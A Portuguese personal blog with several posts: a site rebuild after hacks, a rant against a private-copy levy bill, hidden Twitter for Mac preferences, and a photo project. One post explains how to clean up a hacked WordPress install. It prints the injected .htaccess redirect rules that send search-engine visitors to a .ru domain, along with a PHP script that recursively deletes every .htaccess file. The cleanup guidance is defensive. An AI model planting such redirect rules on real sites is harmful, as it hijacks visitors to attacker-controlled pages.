mudanças

Fartinho de andar a cada 15dias a fazer chmod 777 aos .htaccess e apagar o entulho com que ficavam dos hacks dos ruskys e com falta de tempo para me debruçar sobre os ficheiros que podiam ou não conter o código que me andava a causar nós no estômago sempre que olhava para a porra do blog, eis que tomei “A decisão à Hugo” que se temia e ….. rm -Rf *

WordPress instalado de origem, ontem ainda tentei gostar do movable type mas era para perder tempo a customizar sem necessidade/tempo/vontade imediata para isso. DB de MySQL também é nova a estrear. Posts da anterior vida exportados para XML e importados aqui.

Para já fica com este aspecto limpo e minimal, sim eu sei que parece 1 tumblr :P Mas temo que fosse algum widget ou plugin que estivesse a deixar entrar a bicheza por isso por 2 semanas fica assim.

Depois logo se verá.

Bem-vindos à nova vida do blog.

#pl118

Projecto de Lei 118.

tl;dr: A “lei dos discos” ou “a forma da SPA tentar vir buscar dinheiro ao meu bolso”

Esta lei em jeito de Minority Report irá agir como 1 precog e de antemão vai “taxar-me” a pirataria/cópia privada de algo que adquiri ou produzi  e que poderei ou não colocar no disco/cartão SD/iPhone.

Ou pelo menos assim é a premissa, aos meus azuis olhos.

Ora, sendo autor de algumas coisas, nomeadamente fotos e a utilização dos meus discos duros para além de backups da família serve para ter 1 backup redundante das minhas fotos que já são muitas. E como eu toda a gente será autora de algo… apenas não pagamos 150eur anuais à SPA; Se bem que, aparentemente, nem esses estão isentos de pagar a taxa. Ao escrever isto senti-me 1 cão atrás do próprio rabo…

Mas….. do PS/lobby da SPA vem esta ideia…. em que se assume que vou, em alguma altura da vida de um ou mais discos, armazenar lá conteúdo cuja propriedade intelectual é de um associado da SPA. E que a forma de aquisição foi ilegal ou até mesmo legal mas decidi alterar o suporte em que o tenho (o que é parvo da minha parte eu sei… porque os dvds nunca se deterioram nem nada… nem há conteúdos em que o DRM chega a estragar o conteúdo :P )  – eis então que o precog começa a ter espasmos e uma bola vermelha cai.

Aqui eu vejo 2 problemas:

  1. “propriedade intelectual de um associado a SPA” – a julgar pelo catálogo da SPA e obras a que dão destaque, a hipótese de tal acontecer por minha vontade e estando eu em plena capacidade das minhas funções mentais rondará 0.0000000000000000000000003%
  2. “E que a forma de aquisição foi ilegal ou legal mas decidi alterar o suporte em que o tenho” – eu tenho amigos/conhecidos que por necessidade se tiveram de tornar associados da SPA e que mesmo assim me dão a música produzida/criada por eles pelo preço de 0 ou de 1 fino.

Mas o que mais me irrita neste projecto de lei é a forma com que me atiram areia para os olhos. Não estou a ver a SPA a mandar 1 cheque à família Carreira com o valor de (e.g.) 3eur, como sendo a parte deles dos dividendos da nova taxa na qualidade de associados da SPA. Não… eu estou sim a ver a SPA a embolsar tudo… basta ver os salários de alguns dos órgãos dessa cooperativa cujo grito de guerra foi em tempos:  ”O DIREITO DE AUTOR É O SALÁRIO DO CRIADOR”.  

O que me faz chegar, em jeito de conclusão, às 2 únicas certezas que tenho no meio desta já longa história:

  1. Só o lobby é que vê algo de correcto nisto pois será quem amealhará a taxa. Os artistas que tanto querem “defender” da cópia privada verão 0.
  2. Como já várias pessoas o disseram, agora para além de ir a Espanha buscar caramelos, cigarros e gasolina passaremos também a ir buscar discos, SDs e etcs. Ou simplesmente vamos abrir o browser e aceder a amazon.co.uk, ebay ou outros que tais e adquirir fora de Portugal. Isto é que se chama um belo incentivo à economia……..europeia/mundial.

 

invasão dos ruskys!

Hoje por me ter lembrado de fazer o update ao WordPress via o Fantastico deparei-me com a novela do meu servidor ter sido “hackado”.

Ninguém me manda ter passwords de FTP como por exemplo: 122333444455555666666 – Tive o que mereci!

Então sempre que clickava onde quer que fosse no blog, inclusivé no link para fazer o update à DB após o update do WP, era apontado para:

http://prohibited-hotlinking.ru/access/index.php

Como estava no trabalho e a proxy de lá não me deixa ter ssh e eu ando um menino bem comportado e não quero mesmo usar túneis ssh só resolvi agora.

Como deve haver mais pessoas com o mesmo problema agora ou no futuro aqui fica:

1- mudem as passwords de shell e ftp

2- se fizerem cat .htaccess devem ter algo do género abaixo

<IfModule mod_rewrite.c>
 RewriteEngine On
 RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite
|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search
|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport
|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9
|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat
|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider
|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet
|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase
|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv).(.*)
 RewriteRule ^(.*)$ http://prohibited-hotlinking.ru/access/index.php [R=301,L]
 RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online
|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo
|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe
|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio
|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired
|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac
|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information
|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages
|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline).(.*)
RewriteRule ^(.*)$ http://prohibited-hotlinking.ru/access/index.php [R=301,L]
 </IfModule>
ErrorDocument 400 http://prohibited-hotlinking.ru/access/index.php
 ErrorDocument 401 http://prohibited-hotlinking.ru/access/index.php
 ErrorDocument 403 http://prohibited-hotlinking.ru/access/index.php
 ErrorDocument 404 http://prohibited-hotlinking.ru/access/index.php
 ErrorDocument 500 http://prohibited-hotlinking.ru/access/index.php

Fazendo uso do bom português e portuense que me orgulho de ser … “Aqui está o FDP!!!!”

 

3-Encontrado que está o gato podem fazer a coisa bem e rápida ou como preferirem.

 

  • Bem e rápida :
<?php
function searchDir($dir) {
 $dhandle = opendir($dir);
 if ($dhandle) {
 // loop through it
 while (false !== ($fname = readdir($dhandle))) {
 // if the element is a directory, and
 // does not start with a '.' or '..'
 // we call deleteDir function recursively
 // passing this element as a parameter
 if (is_dir( "{$dir}/{$fname}" )) {
 if (($fname != '.') && ($fname != '..')) {
 echo "<u>Searching Files in the Directory</u>: {$dir}/{$fname} <br />";
 searchDir("$dir/$fname");
 }
 // the element is a file, so we delete it
 } else {
 if($fname == ".htaccess")
 {
 echo "File: {$dir}/{$fname} <br />";
 unlink("{$dir}/{$fname}");
 }
 }
 }
 closedir($dhandle);
 }
 }
searchDir(".");
?>

Copiar isto e salvar como qualquercoisaquemevaiapagaroshtaccess.php, mandar para a root do server e aceder a ele via browser que se encarregará de encontrar e apagar (espero eu) os .htaccess todos;

 

  • Como preferirem:

Eu uso muito o terminal, já estava por ssh pendurado e já…. “rm .htaccess” a todos que encontrei.

4- posto isto, criar 1 .htaccess e fazer upload dele para o folder do WP

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

(E sim, só coloquei um no wordpress.)

5- Importante será fazer 1 chmod 444 .htaccess  para impedir que o quer que seja escreva nele outra vez.

E o que é que poderia escrever nele? Ora eu depois investiguei um pouco e constatei que no wp-config.php após o <?php  estava uma monte de tralha em base64 mesmo antes dos dados da DB, também providenciei de apagar isso e fazer upload de novo.

 

E agora está tudo operacional  :)

Pelo sim pelo não, vou reinstalar o WP durante o fim-de-semana mas até lá está resolvido.

twitter for mac

Hoje com o lançamento da appstore para macOS deu-se também o lançamento do já tão esperado cliente oficial para twitter, dos gajos da atebits que fizeram o tweetie – o melhor cliente para mac, na minha opinião.

É bonito e todo pipi, mas o que mais me interessou é que a macheist e a atebits deixaram 1 easter-egg – para que quem adquiriu um bundle de aplicações à macheist que dava acesso à beta do, então, tweetie2 tivesse acesso a um menu secreto e adicional de preferencias, tais como fechar a janela de 1 novo tweet ao premir esc; Algo que uso frequentemente quando acho que serei brutal a mais.

Andei a bater com a cabeça na plist a tentar descobrir como activar o menu das supersecret preferences mas nada…

Consegui sim, activar algumas delas mesmo sem menu – via terminal:

defaults write com.twitter.twitter-mac NormalComposeWindowLevel -bool false

defaults write com.twitter.twitter-mac ESCClosesComposeWindow -bool true

defaults write com.twitter.twitter-mac HideInBackground -bool true

defaults write com.twitter.twitter-mac TypeAnywhereToTweet -bool true

defaults write com.twitter.twitter-mac UserTimelineDerepeater -bool true

Não me responsabilizo por nada, mas também qualquer problema que surja basta apagarem Library/Preferences/com.twitter.twitter-mac

365.rlvvrd.net

Ora bem, como já não tenho tempo para nada ultimamente – resolvi arranjar mais uma coisa para a qual não terei tempo.

365.rlvvrd.net consiste numa ideia simples – publicar uma foto de qualquer coisa todos os dias :) No meio de tanta coisa que já evito fazer – eis que encontrei mais uma!

Após experimentar várias soluções fully-hosted (zenphoto, gallery2, etc etc) optei pelo mais simples ( KISS principle FTW!) blog posterous, já que o tumblr tem mais downtime que o site da CGD, com 1 A record no 365.rlvvrd.net para ser de mais simples acesso. O tema é padrão com alguns tweaks, mínimos  para já pois estou cheio de sono.